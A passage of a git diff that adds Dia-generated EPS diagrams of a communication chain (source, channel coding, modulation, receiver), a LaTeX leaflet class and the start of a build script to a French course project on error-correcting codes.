+ /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-5.950000 -7.300000 translate +%%EndProlog + + +1.000000 1.000000 1.000000 srgb +n 6.000000 5.000000 m 6.000000 7.250000 l 13.100000 7.250000 l 13.100000 5.000000 l f +n 6.000000 5.000000 m 6.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse f +n 13.100000 5.000000 m 13.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse f +n 6.000000 5.000000 m 6.000000 7.250000 l 13.100000 7.250000 l 13.100000 5.000000 l f +n 6.000000 7.250000 m 6.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse f +n 13.100000 7.250000 m 13.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 6.000000 5.000000 m 13.100000 5.000000 l s +n 6.000000 7.250000 m 13.100000 7.250000 l s +n 6.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse s +n 13.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse s +n 6.000000 5.000000 m 6.000000 7.250000 l s +n 13.100000 5.000000 m 13.100000 7.250000 l s +n 6.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse s +n 13.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Source) dup sw 2 div 9.550000 ex sub 6.200000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 19.000000 5.000000 m 19.000000 7.250000 l 26.100000 7.250000 l 26.100000 5.000000 l f +n 19.000000 5.000000 m 19.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse f +n 26.100000 5.000000 m 26.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse f +n 19.000000 5.000000 m 19.000000 7.250000 l 26.100000 7.250000 l 26.100000 5.000000 l f +n 19.000000 7.250000 m 19.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse f +n 26.100000 7.250000 m 26.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 19.000000 5.000000 m 26.100000 5.000000 l s +n 19.000000 7.250000 m 26.100000 7.250000 l s +n 19.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse s +n 26.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse s +n 19.000000 5.000000 m 19.000000 7.250000 l s +n 26.100000 5.000000 m 26.100000 7.250000 l s +n 19.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse s +n 26.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Récepteur) dup sw 2 div 22.550000 ex sub 6.200000 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(Canal) dup sw 2 div 16.050000 ex sub 5.725000 m gs 1 -1 sc sh gr +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 13.100000 6.125000 m 18.513197 6.125000 l s +[] 0 sd +0 slj +0 slc +n 18.888197 6.125000 m 18.388197 6.375000 l 18.513197 6.125000 l 18.388197 5.875000 l ef +n 18.888197 6.125000 m 18.388197 6.375000 l 18.513197 6.125000 l 18.388197 5.875000 l cp s +showpage diff --git a/CodesCorrecteurs/general1.png b/CodesCorrecteurs/general1.png new file mode 100755 index 0000000..2044f7a Binary files /dev/null and b/CodesCorrecteurs/general1.png differ diff --git a/CodesCorrecteurs/general2.dia b/CodesCorrecteurs/general2.dia new file mode 100755 index 0000000..fde9ea0 Binary files /dev/null and b/CodesCorrecteurs/general2.dia differ diff --git a/CodesCorrecteurs/general2.eps b/CodesCorrecteurs/general2.eps new file mode 100755 index 0000000..0e84644 --- /dev/null +++ b/CodesCorrecteurs/general2.eps @@ -0,0 +1,538 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/general2.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Sun Dec 3 16:46:54 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 882 372 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 + /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Italic-latin1 + /Palatino-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Bold-latin1 + /Palatino-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-BoldItalic-latin1 + /Palatino-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Symbol-latin1 + /Symbol findfont +definefont pop +/ZapfChancery-MediumItalic-latin1 + /ZapfChancery-MediumItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/ZapfDingbats-latin1 + /ZapfDingbats findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +28.346000 -28.346000 scale +-5.950000 -18.050000 translate +%%EndProlog + + +1.000000 1.000000 1.000000 srgb +n 6.000000 5.000000 m 6.000000 8.000000 l 13.000000 8.000000 l 13.000000 5.000000 l f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 6.000000 5.000000 m 6.000000 8.000000 l 13.000000 8.000000 l 13.000000 5.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Source) dup sw 2 div 9.500000 ex sub 6.575000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 7.000000 10.000000 m 7.000000 13.000000 l 12.000000 13.000000 l 12.000000 10.000000 l f +n 7.000000 11.000000 m 7.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse f +n 12.000000 11.000000 m 12.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse f +n 6.000000 11.000000 m 6.000000 12.000000 l 13.000000 12.000000 l 13.000000 11.000000 l f +n 7.000000 12.000000 m 7.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse f +n 12.000000 12.000000 m 12.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 7.000000 10.000000 m 12.000000 10.000000 l s +n 7.000000 13.000000 m 12.000000 13.000000 l s +n 7.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse s +n 12.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse s +n 6.000000 11.000000 m 6.000000 12.000000 l s +n 13.000000 11.000000 m 13.000000 12.000000 l s +n 7.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse s +n 12.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Codage) dup sw 2 div 9.500000 ex sub 11.175000 m gs 1 -1 sc sh gr +(de source) dup sw 2 div 9.500000 ex sub 11.975000 m gs 1 -1 sc sh gr +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 9.500000 8.000000 m 9.500000 9.513197 l s +[] 0 sd +0 slj +0 slc +n 9.500000 9.888197 m 9.250000 9.388197 l 9.500000 9.513197 l 9.750000 9.388197 l ef +n 9.500000 9.888197 m 9.250000 9.388197 l 9.500000 9.513197 l 9.750000 9.388197 l cp s +1.000000 1.000000 1.000000 srgb +n 7.000000 15.000000 m 7.000000 18.000000 l 12.000000 18.000000 l 12.000000 15.000000 l f +n 7.000000 16.000000 m 7.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse f +n 12.000000 16.000000 m 12.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse f +n 6.000000 16.000000 m 6.000000 17.000000 l 13.000000 17.000000 l 13.000000 16.000000 l f +n 7.000000 17.000000 m 7.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse f +n 12.000000 17.000000 m 12.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 7.000000 15.000000 m 12.000000 15.000000 l s +n 7.000000 18.000000 m 12.000000 18.000000 l s +n 7.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse s +n 12.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse s +n 6.000000 16.000000 m 6.000000 17.000000 l s +n 13.000000 16.000000 m 13.000000 17.000000 l s +n 7.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse s +n 12.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Codage) dup sw 2 div 9.500000 ex sub 16.175000 m gs 1 -1 sc sh gr +(de canal) dup sw 2 div 9.500000 ex sub 16.975000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 18.000000 15.000000 m 18.000000 18.000000 l 25.000000 18.000000 l 25.000000 15.000000 l f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 18.000000 15.000000 m 18.000000 18.000000 l 25.000000 18.000000 l 25.000000 15.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Canal) dup sw 2 div 21.500000 ex sub 16.566250 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 31.000000 15.000000 m 31.000000 18.000000 l 36.000000 18.000000 l 36.000000 15.000000 l f +n 31.000000 16.000000 m 31.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse f +n 36.000000 16.000000 m 36.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse f +n 30.000000 16.000000 m 30.000000 17.000000 l 37.000000 17.000000 l 37.000000 16.000000 l f +n 31.000000 17.000000 m 31.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse f +n 36.000000 17.000000 m 36.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 31.000000 15.000000 m 36.000000 15.000000 l s +n 31.000000 18.000000 m 36.000000 18.000000 l s +n 31.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse s +n 36.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse s +n 30.000000 16.000000 m 30.000000 17.000000 l s +n 37.000000 16.000000 m 37.000000 17.000000 l s +n 31.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse s +n 36.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Décodage) dup sw 2 div 33.500000 ex sub 16.175000 m gs 1 -1 sc sh gr +(de canal) dup sw 2 div 33.500000 ex sub 16.975000 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 31.000000 10.000000 m 31.000000 13.000000 l 36.000000 13.000000 l 36.000000 10.000000 l f +n 31.000000 11.000000 m 31.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse f +n 36.000000 11.000000 m 36.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse f +n 30.000000 11.000000 m 30.000000 12.000000 l 37.000000 12.000000 l 37.000000 11.000000 l f +n 31.000000 12.000000 m 31.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse f +n 36.000000 12.000000 m 36.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 31.000000 10.000000 m 36.000000 10.000000 l s +n 31.000000 13.000000 m 36.000000 13.000000 l s +n 31.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse s +n 36.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse s +n 30.000000 11.000000 m 30.000000 12.000000 l s +n 37.000000 11.000000 m 37.000000 12.000000 l s +n 31.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse s +n 36.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse s +/Helvetica-latin1 ff 0.560000 scf sf +(Décodage) dup sw 2 div 33.500000 ex sub 11.166250 m gs 1 -1 sc sh gr +(de source) dup sw 2 div 33.500000 ex sub 11.966250 m gs 1 -1 sc sh gr +1.000000 1.000000 1.000000 srgb +n 30.000000 5.000000 m 30.000000 8.000000 l 37.000000 8.000000 l 37.000000 5.000000 l f +0.100000 slw +[] 0 sd +[] 0 sd +0 slj +0.000000 0.000000 0.000000 srgb +n 30.000000 5.000000 m 30.000000 8.000000 l 37.000000 8.000000 l 37.000000 5.000000 l cp s +/Helvetica-latin1 ff 0.560000 scf sf +(Récepteur) dup sw 2 div 33.500000 ex sub 6.566250 m gs 1 -1 sc sh gr +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 9.500000 13.000000 m 9.500000 14.513197 l s +[] 0 sd +0 slj +0 slc +n 9.500000 14.888197 m 9.250000 14.388197 l 9.500000 14.513197 l 9.750000 14.388197 l ef +n 9.500000 14.888197 m 9.250000 14.388197 l 9.500000 14.513197 l 9.750000 14.388197 l cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 13.000000 16.500000 m 17.513197 16.500000 l s +[] 0 sd +0 slj +0 slc +n 17.888197 16.500000 m 17.388197 16.750000 l 17.513197 16.500000 l 17.388197 16.250000 l ef +n 17.888197 16.500000 m 17.388197 16.750000 l 17.513197 16.500000 l 17.388197 16.250000 l cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 25.000000 16.500000 m 29.513197 16.500000 l s +[] 0 sd +0 slj +0 slc +n 29.888197 16.500000 m 29.388197 16.750000 l 29.513197 16.500000 l 29.388197 16.250000 l ef +n 29.888197 16.500000 m 29.388197 16.750000 l 29.513197 16.500000 l 29.388197 16.250000 l cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 33.500000 15.000000 m 33.500000 13.486803 l s +[] 0 sd +0 slj +0 slc +n 33.500000 13.111803 m 33.750000 13.611803 l 33.500000 13.486803 l 33.250000 13.611803 l ef +n 33.500000 13.111803 m 33.750000 13.611803 l 33.500000 13.486803 l 33.250000 13.611803 l cp s +0.100000 slw +[] 0 sd +[] 0 sd +0 slc +n 33.500000 10.000000 m 33.500000 8.486803 l s +[] 0 sd +0 slj +0 slc +n 33.500000 8.111803 m 33.750000 8.611803 l 33.500000 8.486803 l 33.250000 8.611803 l ef +n 33.500000 8.111803 m 33.750000 8.611803 l 33.500000 8.486803 l 33.250000 8.611803 l cp s +/Helvetica-latin1 ff 0.490000 scf sf +(modulation) dup sw 2 div 15.500000 ex sub 16.117500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.490000 scf sf +(demodulation) dup sw 2 div 27.500000 ex sub 16.117500 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( analogique) 9.500000 9.066250 m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +( numérique) 9.500000 14.066250 m gs 1 -1 sc sh gr +showpage diff --git a/CodesCorrecteurs/general2.png b/CodesCorrecteurs/general2.png new file mode 100755 index 0000000..05fb461 Binary files /dev/null and b/CodesCorrecteurs/general2.png differ diff --git a/CodesCorrecteurs/leaflet.cls b/CodesCorrecteurs/leaflet.cls new file mode 100755 index 0000000..f1d508e --- /dev/null +++ b/CodesCorrecteurs/leaflet.cls @@ -0,0 +1,110 @@ +%% +%% This is file `leaflet.cls', +%% generated with the docstrip utility. +%% +%% The original source files were: +%% +%% leaflet.dtx (with options: `class') +%% +%% Copyright 1998 Juergen Schlegelmilch +%% +%% This program is provided under the terms of the +%% LaTeX Project Public License distributed from CTAN +%% archives in directory macros/latex/base/lppl.txt. +%% +%% Author: Juergen Schlegelmilch +%% schlegel@informatik.uni-rostock.de +%% +\NeedsTeXFormat{LaTeX2e} +\ProvidesClass{leaflet}[1999/06/01 v0.3 document class leaflet] +\LoadClassWithOptions{article} +\newlength{\p@perwidth} +\setlength{\p@perwidth}{0.333333334\paperheight} +\newlength{\p@perheight} +\setlength{\p@perheight}{\paperwidth} +\RequirePackage{geometry} +\geometry{papersize={\p@perwidth,\p@perheight}, + vmargin=10mm,hmargin=8mm, + noheadfoot, + marginparwidth=0mm,marginparsep=0mm} +\newcommand\customhead{} +\newcommand\customfoot{} +\newcommand\ps@leaflet{% + \def\@evenhead{% + \customhead\hfill}% + \def\@oddhead{% + \ifnum\c@page=\tw@ + {\unitlength1mm + % set the fold mark at 8mm (left margin) + 91mm + \begin{picture}(0,0)\put(91,0){\rule{0.3mm}{0.3mm}}\end{picture}}% + \fi + \ifnum\c@page=7\ClassError{leaflet}{% + Too much text for leaflet}{% + The text you supplied fills more than six pages and will + therefore not fit onto a single leaflet. Try using smaller + fonts or reducing vertical space.}\fi + \customhead + \hfill}% + \def\@evenfoot{\customfoot\hfill}% + \let\@oddfoot\@evenfoot + } +\pagestyle{leaflet} +\sloppy +\setcounter{secnumdepth}{0} +\let\tempitemize=\itemize +\renewcommand\itemize{% + \setlength{\topsep}{0pt}% + \setlength{\partopsep}{0pt}% + \tempitemize + \setlength{\parskip}{0pt}% + \setlength{\parsep}{0pt}% + \setlength{\itemsep}{0pt}} +\let\tempenumerate=\enumerate +\renewcommand\enumerate{% + \setlength{\topsep}{0pt}% + \setlength{\partopsep}{0pt}% + \tempenumerate + \setlength{\parskip}{0pt}% + \setlength{\parsep}{0pt}% + \setlength{\itemsep}{0pt}} +\let\tempdescription=\description +\renewcommand\description{% + \setlength{\topsep}{0pt}% + \setlength{\partopsep}{0pt}% + \tempdescription + \setlength{\parskip}{0pt}% + \setlength{\parsep}{0pt}% + \setlength{\itemsep}{0pt}} +\setlength{\leftmargini}{1.2em} +\setlength{\leftmarginii}{1.6em} +\setlength{\leftmarginiii}{1.2em} +\setlength{\leftmarginiv}{1.2em} +\renewcommand\topfraction{0.7} +\renewcommand\bottomfraction{0.7} +\setlength{\textfloatsep}{10pt plus 4pt minus 3pt} +\renewcommand\section{% + \@startsection{section}{3}{\z@}% + {-2.75ex\@plus -1ex \@minus -.2ex}% + {0.2ex \@plus .1ex}% + {\normalfont\large\bfseries}}% +\renewcommand\subsection{% + \@startsection{subsection}{4}{\z@}% + {-0.75ex \@minus -.5ex}% + {0.2ex \@plus .1ex}% + {\normalfont\normalsize\bfseries}}% +\let\subsubsetion=\subsection +\renewcommand\paragraph{% + \@startsection{paragraph}{4}{\z@}% + {0.75ex \@plus1ex \@minus.2ex}% + {-1em}% + {\normalfont\normalsize\bfseries}} +\renewcommand\subparagraph{% + \@startsection{paragraph}{4}{\z@}% + {0.2ex \@minus.2ex}% + {-1em}% + {\normalfont\normalsize\bfseries}} +\let\part=\relax +\let\chapter=\relax +\endinput +%% +%% End of file `leaflet.cls'. diff --git a/CodesCorrecteurs/make.sh b/CodesCorrecteurs/make.sh new file mode 100755 index 0000000..9035f87 --- /dev/null +++ b/CodesCorrecteurs/make.sh @@ -0,0 +1,33 @@ +#!/bin/sh + +set -e + +latex 